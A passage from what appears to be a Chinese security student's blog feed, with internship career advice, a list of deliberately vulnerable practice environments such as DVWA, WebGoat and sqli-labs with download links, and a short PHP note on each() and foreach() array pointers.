<li>有木有实战经历（乙方很重视）</li> <li>比赛（今年的SCTF比赛很重要）</li> <li>你的博客，你的博客，你的博客，重要的说三遍</li> <li>学习经历，挖洞经历，分析经历</li> <li>实习经历，更重要</li> </ol> <h2 id="还有啥要注意的">还有啥要注意的</h2> <ul> <li>使用非Win系统很重要，公司中只要和技术相关的岗位，在工作上都是不允许使用Win的….所以养成工作时用linux是一个好习惯</li> <li>注重总结，有博客的记在博客中，有笔记的记在笔记中，不过更推荐博客一点，企业在看简历的时候，对于你博客的注重程度很高，有加分</li> <li>代码的编写能力很重要，能利用python写工具、写poc。代码最好管理在Github上，同样，方便自己，也能展示自己。</li> <li>紧接上一点，git的使用也是非常重要的，一般团队都有自己的git，如果不会git，也是有点烦的。</li> <li>保持自己不断学习的状态，企业其实在招收实习生的时候，没有对你的技术抱有多大的期待，无论你怎么怎么厉害，到了企业还是得继续学习，所以企业对你的学习能力更加看重，如何在较短的时间进行学习，并将之运用到工作中。企业怎么看你的学习能力呢？一个是你的比赛经历，一个是你发表paper的质量，最后一个就是你的博客更新频率和GitHub频率，可能有点玄学，但就是这样。</li> <li>关注安全圈子里面的事情，关注最新的安全咨询，这个也很重要。</li> </ul> <h2 id="关于面试什么的">关于面试什么的</h2> <ul> <li>首先摆正自己的位置，残酷点说，你现在还没实力选择公司去实习，更不要说选择地方了，而且实习绝对是要额外花钱的，所以想好了，哪里要你，去哪里。</li> <li>就像前面说的一样，公司招实习生，一般对你的能力要求没那么高（春招除外，春招的要求蛮高的），别怕，勇敢投简历就行了，反正我就抱着哪里招我哪里倒霉的想法，在大二暑假混到了实习。</li> <li>还是要提升自己。只有在写简历的时候，才会正视自己到底做了点什么事情，时常反思，对于知识保持饥饿感。</li> <li>对于面试官而言，你是一个入门者，所以尽你所能的答，打错了，不要慌，面试官都是老司机，你尽管说，考到我了，算我输。</li> </ul> <h1 id="最后你在实习前起码要有的技能树">最后，你在实习前起码要有的技能树</h1> <ul> <li>Python3，注意是Python3，Python2随着Django放弃支持Python2而没落，而且不管是渗透、逆向、开发，这是确实是基本的技能。</li> <li>基本的代码阅读能力。只要你进实验室，别管你是干什么的，看代码是肯定的，而且不是我们平时简简单单的单页面六七十行的代码。最简单的就是一个插件的代码，可以尝试去看一下wp的插件代码，逻辑简单，目录也够清晰。复杂的话，就会涉及到框架，一天几千行是算简单的= =。</li> <li>文档能力。不管你是做什么的，写文档都是逃不过的，而在公司中，除了正式的产品式文档，技术人员使用的都是markdown。</li> <li>git能力。</li> </ul> <h2 id="web童靴要有的">Web童靴要有的</h2> <ul> <li> <p>PHP能力，看PHP代码总比你看Spring Boot的代码好，相信我</p> <ul> <li>起码得会写一点PHP吧（比如连接数据库什么的）</li> <li>也起码得知道PHP的一些运作原理吧（比如文件上传的过程）</li> <li>起码得积累点漏洞触发函数吧</li> <li>MVC的基本运行思路</li> <li>PHP的类要熟练</li> <li>能看一下框架就看一下框架，Symfony对应着Drupal，Laravel的强大还有YII等</li> </ul> </li> <li>了解基本漏洞产生的原理（SQL注入、XSS、CSRF、SSRF等）</li> <li>基本Web环境配置方式</li> <li>Linux的使用能力</li> <li>Docker能力</li> <li>Python能力，起码得会写个poc。</li> <li>实时关注安全动态的能力</li> <li>写文档的能力</li> </ul> <p>以上的如果展开说，就太多了，有的我也没有掌握，大家自行理解。</p> Mon, 03 Sep 2018 00:00:00 +0000 http://WaIdo.github.io/2018/09/03/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%9A%84%E6%96%B9%E5%90%91/ http://WaIdo.github.io/2018/09/03/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%9A%84%E6%96%B9%E5%90%91/ web安全 <h1 id="owasp-broken-web-apps">OWASP Broken Web Apps</h1> <p>分享渗透测试演练环境，里面继承了57个数据库的渗透测试环境。包括aspx,asp,php,jsp等等各种演练环境。</p> <p><code class="highlighter-rouge">http://pan.baidu.com/s/1o7VQPZk密码：09qz</code></p> <h1 id="常见靶场">常见靶场</h1> <h2 id="dvwa-dam-vulnerable-web-application">DVWA (Dam Vulnerable Web Application)</h2> <p>DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。</p> <p>链接地址：<code class="highlighter-rouge">http://www.dvwa.co.uk</code></p> <p>##mutillidaemutillidae</p> <p>mutillidaemutillidae是一个免费，开源的Web应用程序，提供专门被允许的安全测试和入侵的Web应用程序。它是由Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的Web应用程序。其中包含了丰富的渗透测试项目，如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.</p> <p>链接地址：<code class="highlighter-rouge">http://sourceforge.net/projects/mutillidae</code></p> <h2 id="sqlol">SQLol</h2> <p>SQLol是一个可配置得SQL注入测试平台，它包含了一系列的挑战任务，让你在挑战中测试和学习SQL注入语句。此程序在Austin黑客会议上由Spider Labs发布。</p> <p>链接地址：<code class="highlighter-rouge">https://github.com/SpiderLabs/SQLol</code></p> <h2 id="hackxor">hackxor</h2> <p>hackxor是由albino开发的一个online黑客游戏,亦可以下载安装完整版进行部署,包括常见的WEB漏洞演练。包含常见的漏洞XSS、CSRF、SQL注入、RCE等。</p> <p>链接地址：<code class="highlighter-rouge">http://sourceforge.net/projects/hackxor</code></p> <h2 id="bodgeit">BodgeIt</h2> <p>BodgeIt是一个Java编写的脆弱性WEB程序。他包含了XSS、SQL注入、调试代码、CSRF、不安全的对象应用以及程序逻辑上面的一些问题。</p> <h2 id="exploit-kb">Exploit KB</h2> <p>该程序包含了各种存在漏洞的WEB应用，可以测试各种SQL注入漏洞。此应用程序还包含在BT5里</p> <p>链接地址：<code class="highlighter-rouge">http://exploit.co.il/projects/vuln-web-app</code></p> <h2 id="wackopicko">WackoPicko</h2> <p>WackoPicko是由Adam Doupé.发布的一个脆弱的Web应用程序，用于测试Web应用程序漏洞扫描工具。它包含了命令行注射、sessionid问题、文件包含、参数篡改、sql注入、xss、flash form反射性xss、弱口令扫描等。</p> <p>链接地址：<code class="highlighter-rouge">https://github.com/adamdoupe/WackoPicko</code></p> <h2 id="webgoat">WebGoat</h2> <p>WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序，这些漏洞并非程序中的bug，而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境，为用户完成课程提供了有关的线索。</p> <p>链接地址：<code class="highlighter-rouge">http://code.google.com/p/webgoat</code></p> <h2 id="owasp-hackademic">OWASP Hackademic</h2> <p>OWASP Hackademic是由OWASP开发的一个项目，你可以用它来测试各种攻击手法，目前包含了10个有问题的WEB应用程序。</p> <p>链接地址：<code class="highlighter-rouge">https://code.google.com/p/owasp-hackademic-challenges</code></p> <h2 id="xsseducation">XSSeducation</h2> <p>XSSeducation是由AJ00200开发的一套专门测试跨站的程序。里面包含了各种场景的测试。</p> <p>链接地址： <code class="highlighter-rouge">http://wiki.aj00200.org/wiki/XSSeducation</code></p> <h2 id="google-xss-游戏">Google XSS 游戏</h2> <p>Google推出的XSS小游戏</p> <p>链接地址：<code class="highlighter-rouge">https://xss-game.appspot.com/</code></p> <h2 id="web-for-pentester">Web for Pentester</h2> <p>web for pentester是国外安全研究者开发的的一款渗透测试平台，通过该平台你可以了解到常见的Web漏洞检测技术。具体包括 XSS跨站脚本攻击, SQL注入, 目录遍历. 命令注入, 代码注入, XML攻击, LDAP攻击, 文件上传 以及一些指纹识别技术</p> <h2 id="dvwa-wooyun乌云靶场">DVWA-WooYun（乌云靶场）</h2> <p>DVWA-WooYun是一个基于DVWA的PHP+Mysql漏洞模拟练习环境，通过将乌云主站上的有趣漏洞报告建模，以插件形式复现给使用该软件的帽子们，可以让乌云帽子们获得读报告体验不到的真实感，在实践的过程中可以无缝隙地深入理解漏洞的原理及利用方式 中英双字，如果您语文学的不好不必担心了，界面提示英文的（DVWA原厂），内容提示中英双字（后来觉得比较眼花，所以去掉了部分英文）</p> <h2 id="metasploitable">Metasploitable</h2> <p>著名的渗透框架 Metasploit 出品方 rapid7 还提供了配置好的环境 Metasploitable，是一个打包好的操作系统虚拟机镜像，使用 VMWare 的格式。可以使用 VMWare Workstation（也可以用免费精简版的 VMWare Player ）“开机”运行。</p> <p>链接地址：<code class="highlighter-rouge">https://information.rapid7.com/metasploitable-download.html</code></p> <p>下载地址：<code class="highlighter-rouge">http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip</code></p> <h2 id="owasp-broken-web-applications-project">OWASP Broken Web Applications Project</h2> <p>跟 Metasploitable 类似，这也是打包好的虚拟机镜像，预装了许多带有漏洞的 Web 应用，有真实世界里的流行网站应用如 Joomla, WordPress 等的历史版本（带公开漏洞），也有 WebGoat, DVWA 等专门用于漏洞测试的模拟环境。</p> <p>链接地址：<code class="highlighter-rouge">https://code.google.com/p/owaspbwa/</code></p> <h2 id="xctf_oj">XCTF_OJ</h2> <p>XCTF-OJ （X Capture The Flag Online Judge）是由 XCTF 组委会组织开发并面向 XCTF 联赛参赛者提供的网络安全技术对抗赛练习平台。XCTF-OJ 平台将汇集国内外 CTF 网络安全竞赛的真题题库，并支持对部分可获取在线题目交互环境的重现恢复，XCTF 联赛后续赛事在赛后也会把赛题离线文件和在线交互环境汇总至 XCTF-OJ 平台，形成目前全球 CTF 社区唯一一个提供赛题重现复盘练习环境的站点资源。</p> <p>链接地址:<code class="highlighter-rouge">http://oj.xctf.org.cn/</code></p> <h2 id="pwnablekr">PWNABLE.KR</h2> <p>以上都是网页服务器安全相关的靶场，再推荐一个练习二进制 pwn 的网站：Pwnable.kr。pwnable 这类题目在国外 CTF 较为多见，通常会搭建一个有漏洞（如缓冲区溢出等）的 telnet 服务，给出这个服务后端的二进制可执行文件让答题者逆向，简单一点的会直接给源代码，找出漏洞并编写利用程序后直接攻下目标服务获得答案。这个网站里由简到难列出了许多关卡，现在就上手试试吧。</p> <p>链接地址：<code class="highlighter-rouge">http://pwnable.kr/%3Fp%3Dprobs</code></p> <h2 id="hackazon---rapid7-开源的-web-漏洞练习框架类似-hacksys-的-hevd"><a href="https://github.com/rapid7/hackazon">Hackazon - Rapid7 开源的 Web 漏洞练习框架，类似 Hacksys 的 HEVD</a></h2> <h1 id="后期补充">后期补充</h1> <h2 id="zvuldrill靶场二次开发"><a href="https://github.com/redBu1l/ZVulDrill">ZVulDrill靶场二次开发</a></h2> <h2 id="zvuldrill靶场"><a href="https://github.com/710leo/ZVulDrill">ZVulDrill靶场</a></h2> <h2 id="sqli-labs"><a href="https://github.com/Audi-1/sqli-labs">sqli-labs</a></h2> <h2 id="dvwa"><a href="https://github.com/ethicalhack3r/DVWA">DVWA</a></h2> <h2 id="btslab"><a href="https://github.com/CSPF-Founder/btslab">btslab</a></h2> <p>或者<code class="highlighter-rouge">http://www.2cto.com/article/201410/341409.html</code></p> <h2 id="webug"><a href="https://pan.baidu.com/s/1chDLee">webug</a></h2> <h2 id="xss练习"><a href="https://xss.haozi.me/#/0x00">XSS练习</a></h2> <h3 id="xss练习github"><a href="https://github.com/haozime/xss-demo">XSS练习Github</a></h3> <h2 id="赛克社区"><a href="http://tr.secevery.com/xss_platform/code/xss01/index.php?name=xiaoming">赛克社区</a></h2> <h2 id="xss练习源码"><a href="http://pan.baidu.com/s/1pKCb9B9">xss练习源码</a></h2> <p><code class="highlighter-rouge">密码: 3cqm</code></p> <h3 id="xss在线挑战"><a href="http://test.xss.tv">xss在线挑战</a></h3> <h2 id="facebook-fbctf"><a href="https://github.com/facebook/fbctf">Facebook fbctf</a></h2> <p>By Waldo</p> Sat, 01 Sep 2018 00:00:00 +0000 http://WaIdo.github.io/2018/09/01/%E5%B8%B8%E8%A7%81%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%B6%E5%9C%BA%E7%B3%BB%E7%BB%9F/ http://WaIdo.github.io/2018/09/01/%E5%B8%B8%E8%A7%81%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%B6%E5%9C%BA%E7%B3%BB%E7%BB%9F/ web安全 <h1 id="each函数">each()函数</h1> <p>(PHP 4, PHP 5, PHP 7)</p> <p>each — 返回数组中当前的键／值对并将数组指针向前移动一步</p> <p><strong>Warning</strong></p> <p>This function has been <em>DEPRECATED</em> as of PHP 7.2.0. Relying on this function is highly discouraged.</p> <h3 id="说明">说明<a href="http://php.net/manual/zh/function.each.php#refsect1-function.each-description"> ¶</a></h3> <p>array <strong>each</strong> ( array <code class="highlighter-rouge">&amp;$array</code> )</p> <p>返回数组中当前的键／值对并将数组<code class="highlighter-rouge">指针</code>向前移动一步</p> <p>在执行 <strong>each()</strong> 之后，数组指针将停留在数组中的下一个单元或者当碰到数组结尾时停留在最后一个单元。如果要再用 each 遍历数组，必须使用 <a href="http://php.net/manual/zh/function.reset.php">reset()</a>。</p> <h1 id="foreach函数">foreach()函数</h1> <p>(PHP 4, PHP 5, PHP 7)</p> <p><em>foreach</em> 语法结构提供了遍历数组的简单方式。<em>foreach</em> 仅能够应用于数组和对象，如果尝试应用于其他数据类型的变量，或者未初始化的变量将发出错误信息。有两种语法：</p> <p>第一种格式遍历给定的 <em>array_expression</em> 数组。每次循环中，当前单元的值被赋给 <em>$value</em> 并且数组内部的<code class="highlighter-rouge">指针</code>向前移一步（因此下一次循环中将会得到下一个单元）。</p> <p>第二种格式做同样的事，只除了当前单元的键名也会在每次循环中被赋给变量 <em>$key</em>。</p> <h1 id="注意">注意</h1> <p>each()和foreach()都会移动指针</p> <h1 id="为什么输出空白">为什么输出空白？</h1> <p>一定是因为在使用each()函数之前使用了foreach()函数</p> <p>这时要使用reset()函数将指针初始化到0开始，即数组起始位置</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?php $arr=array('name'=&gt;'Waldo','sex'=&gt;'male','age'=&gt;'20'); var_dump($arr); echo '&lt;hr&gt;'; foreach($arr as $key =&gt; $value){ echo $key.' =&gt; '.$value.'&lt;br&gt;'; } echo '&lt;br&gt;'; reset($arr); //因为上面数组的指针已经移动到数组末尾，下面使用each的时候发生指针越界，返回false，导致无法输出值。 //因此使用reset()函数将指针初始化到0开始，即数组起始位置。 echo "使用reset()后将有如下输出："; while(list($k, $v)=each($arr)) { echo $k.'=&gt;'.$v.'&lt;br&gt;'; } ?&gt; </code></pre></div></div> <p>输出如图：</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-193942e49aed37b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="TIM截图20180906164521.png" /></p> Sat, 25 Aug 2018 00:00:00 +0000 http://WaIdo.github.io/2018/08/25/PHP%E4%B9%8Beach()%E5%87%BD%E6%95%B0%E8%BE%93%E5%87%BA%E7%A9%BA%E7%99%BD%E9%97%AE%E9%A2%98/ http://WaIdo.github.io/2018/08/25/PHP%E4%B9%8Beach()%E5%87%BD%E6%95%B0%E8%BE%93%E5%87%BA%E7%A9%BA%E7%99%BD%E9%97%AE%E9%A2%98/ PHP